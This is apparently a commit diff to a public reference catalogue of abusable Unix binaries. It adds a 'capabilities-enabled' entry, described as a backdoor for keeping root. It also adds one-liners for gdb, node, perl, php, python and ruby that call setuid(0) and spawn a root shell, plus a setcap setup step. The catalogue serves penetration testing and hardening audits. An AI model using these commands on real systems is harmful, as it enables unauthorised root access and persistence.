Add the capabilities-enabled function

This exploits `setcap` to persist root privileges on Linux.

_data/functions.yml

@@ -76,6 +76,13 @@ sudo-enabled:
     It runs in privileged context and may be used to access the file system,
     escalate or maintain access with elevated privileges if enabled on `sudo`.
 
+capabilities-enabled:
+  label: Capabilities
+  description: |
+    It can manipulate its process UID and in Linux systems it can be set with the
+    `CAP_SETUID` capability to make it work as a backdoor to maintain elevated privileges.
+    This also works if the binary is invoked by another binary with the capability set.
+
 suid-limited:
   label: Limited SUID
   description: |

_gtfobins/gdb.md

@@ -12,4 +12,7 @@ functions:
         gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
   sudo-enabled:
     - code: sudo gdb -nx -ex '!sh' -ex quit
+  capabilities-enabled:
+    - description: Only if it has been compiled with Python support.
+      code: ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
 ---

_gtfobins/node.md

@@ -30,4 +30,7 @@ functions:
   sudo-enabled:
     - code: |
         sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
+  capabilities-enabled:
+    - code: |
+        ./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
 ---

_gtfobins/perl.md

@@ -12,4 +12,6 @@ functions:
     - code: ./perl -e 'exec "/bin/sh";'
   sudo-enabled:
     - code: sudo perl -e 'exec "/bin/sh";'
+  capabilities-enabled:
+    - code: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
 ---

_gtfobins/php.md

@@ -46,4 +46,8 @@ functions:
     - code: |
         CMD="/bin/sh"
         sudo php -r "system('$CMD');"
+  capabilities-enabled:
+    - code: |
+        CMD="/bin/sh"
+        ./php -r "posix_setuid(0); system('$CMD');"
 ---

_gtfobins/python2.md

@@ -34,4 +34,6 @@ functions:
     - code: ./python2 -c 'import os; os.system("/bin/sh -p")'
   sudo-enabled:
     - code: sudo python2 -c 'import os; os.system("/bin/sh")'
+  capabilities-enabled:
+    - code: ./python2 -c 'import os; os.setuid(0); os.system("/bin/sh")'
 ---

_gtfobins/python3.md

@@ -34,4 +34,6 @@ functions:
     - code: ./python3 -c 'import os; os.system("/bin/sh -p")'
   sudo-enabled:
     - code: sudo python3 -c 'import os; os.system("/bin/sh")'
+  capabilities-enabled:
+    - code: ./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
 ---

_gtfobins/ruby.md

@@ -29,4 +29,6 @@ functions:
     - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
   sudo-enabled:
     - code: sudo ruby -e 'exec "/bin/sh"'
+  capabilities-enabled:
+    - code: ./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
 ---

_layouts/bin.html

@@ -30,6 +30,10 @@ layout: common
 cp $(which {{ bin_name }}) .
 sudo sh -c 'chown 0 ./{{ bin_name }}; chmod +s ./{{ bin_name }}'
 {% endif %}
+{%- if function_name == 'capabilities-enabled' %}
+cp $(which {{ bin_name }}) .
+sudo setcap cap_setuid+ep {{ bin_name }}
+{% endif %}
 {{ example.code }}
 {% endcapture %}